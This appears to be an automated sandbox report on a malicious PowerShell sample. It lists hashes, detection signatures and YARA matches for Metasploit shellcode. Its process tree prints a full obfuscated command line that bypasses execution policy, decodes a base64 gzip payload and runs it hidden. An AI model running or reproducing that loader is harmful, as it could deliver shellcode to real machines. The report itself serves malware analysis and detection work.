Edit tour
Windows
Analysis Report
x6bjOrKFQn.ps1
Overview
General Information
| Sample name: | x6bjOrKFQn.ps1renamed because original name is a hash value |
| Original sample name: | bfa856e4339bfadacdcb6730a256353e0b09dd0d20f0571bed84a4226b65b740.ps1 |
| Analysis ID: | 1542797 |
| MD5: | b2cc4f57ccfdb79e1f65bdcc203afecb |
| SHA1: | 56be6d9cfc79e265765f4fa4a13a34f422c28c94 |
| SHA256: | bfa856e4339bfadacdcb6730a256353e0b09dd0d20f0571bed84a4226b65b740 |
| Tags: | 206-41-208-89ps1user-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
AI detected suspicious sample
Bypasses PowerShell execution policy
Found suspicious powershell code related to unpacking or dynamic code loading
Machine Learning detection for dropped file
Obfuscated command line found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Gzip Archive Decode Via PowerShell
Sigma detected: Suspicious FromBase64String Usage On Gzip Archive - Process Creation
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
powershell.exe (PID: 7532 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -noLogo -E xecutionPo licy unres tricted -f ile "C:\Us ers\user\D esktop\x6b jOrKFQn.ps 1" MD5: 04029E121A0CFA5991749937DD22A1D9) 
conhost.exe (PID: 7540 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
csc.exe (PID: 7724 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\jntjsp e1\jntjspe 1.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66) - cvtres.exe (PID: 7740 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES45B2.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\jnt jspe1\CSCD 361E481240 445E599A96 4E0407F16C 0.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - powershell.exe (PID: 7760 cmdline:
powershell .exe -nop -w hidden -noni -ep bypass "&( [scriptblo ck]::creat e((New-Obj ect System .IO.Stream Reader(New -Object Sy stem.IO.Co mpression. GzipStream ((New-Obje ct System. IO.MemoryS tream(,[Sy stem.Conve rt]::FromB ase64Strin g((('H4sIA ANCGWcCA5V VXW/jNhB8{ 2}6{2}YGG' +'ojITL'+' huEFxDZBDX V2uCJDeGae 0eTAMhKbW' +'sRqadEkq tpH4v5eUqA /HCdrTgy1x l8Ph7Cy5KA {1}zuRTwO5 rBHc4Zz1EY 6D33wD7Bhs ElfMHN4Ov8 b2{1}GBre7 NX6hK7SDht j8pMyvk8mf Gj/hghbcJA ozG8kp1xYi MKrAJmui5H Z'+'HXmXY8 c5Indvb{2} xY1xbXcoLJ flh2U8{1}l VdBVW7{2}P UqFw8zIJEr lZUZPHhaKo 5k+LV4Ce5E VzSrByNPKa SDLUGL8BKZ gVHR/DXMII qJV{2}AWC8 DA/wH+vNcZ P2oDFbzyrk 8'+'1wYFKj t5mu'+'7s+ 4o41VLJHtF ocsvWNz5jd n7+0/E8og1 Vxi3rFy6jv kKXnbwxY7g 2Fq+qRlgx2 b/HVuETKo3 HhBvoTsXfI p5M/EL{2}0 fBncn5GRsM P5MMv/dhuw 6/dq+TTRiF d'+'ObIVNr E2S8sxS7Kl V1WnYuec0v fF6HDTmqc1 2Dv0kBUqNz uS1qmhXz8O FtZSGIfPwa 1F38OAapge zPmGK2kw{1 }WXyRc6owb 8ozzPqfJd{ 1}zueUPc6i 6A06ZFyYpT OtmzTW7wgT iILzuG+4Ph v1PZ0uWiNT u82ujtP5zu B0NgvcvzPj kFho+7z88D zce6lR'+'Z HU4nBrcGoK Cycw5/eJin CbX15GT/ze XE/bvrGXlR sPENVW6RM5 BFULYbLDiF Nratg+nEKB 4unBfwjX{2 }qR2zdWoCT K7WhWmD{2} yKR653KH5Y GwiSCP3Kmp JYLA4lUa6l KP{1}mM3WI uSYNCi/2EG bkX{2'+'}8 I70stB7mxl MGw3Fg/j{2 }oPcoHgwy6 6L6nbu+ujI Rt+n0vR0Bj cW0snijwLS 8Px+rvWsz1 JdUba0nCt{ 1}yEVz1LRZ LW33hAcndE Tq3VaHWY0U vVyLJ/mIg6 vt2mqrrd4N yr5rqc0y5x iG{1}V66rt rEN6RZWHks hmEMw{1}H7 CAYCYXgk6Z XTD7Nbq+V7 l4XvUpdCSo 2vvOYtiu01 6qh00PxhUe 6uFhWCPHpV Td'+'uarph H+4ZBfepV4 KOPP57BC3w tzKBCBW+eA 6gRlILUwKd wMknhxP6X+ t{2}IVno4I hNqli76EU5 akK0jEqBSU k2Hs4PFOqz LOGEcq{1}q jtx'+'hcdj {2}sq217xw '+'b+X/5tY f7TsV3DHvm 1nvOZF3rZ3 IP+4PEne8K lRr+fsh3r6 6lrmPbOSo1 c1xeV/7XOb K74p'+'nb+ svoXSh3FRK gIAAA{0}') -f'=','Q', '9')))),[S ystem.IO.C ompression .Compressi onMode]::D ecompress) )).ReadToE nd()))" MD5: 04029E121A0CFA5991749937DD22A1D9)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| Windows_Trojan_Metasploit_7bc0f998 | Identifies the API address lookup function leverage by metasploit shellcode | unknown |
| |
| Windows_Trojan_Metasploit_c9773203 | Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. | unknown |
| |
| Windows_Trojan_Metasploit_7bc0f998 | Identifies the API address lookup function leverage by metasploit shellcode | unknown |
| |
| Windows_Trojan_Metasploit_c9773203 | Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. | unknown |
| |
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| Click to see the 1 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| Windows_Trojan_Metasploit_7bc0f998 | Identifies the API address lookup function leverage by metasploit shellcode | unknown |
| |
| Windows_Trojan_Metasploit_c9773203 | Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. | unknown |
| |
| Windows_Trojan_Metasploit_7bc0f998 | Identifies the API address lookup function leverage by metasploit shellcode | unknown |
| |
| Windows_Trojan_Metasploit_c9773203 | Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. | unknown |
|
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||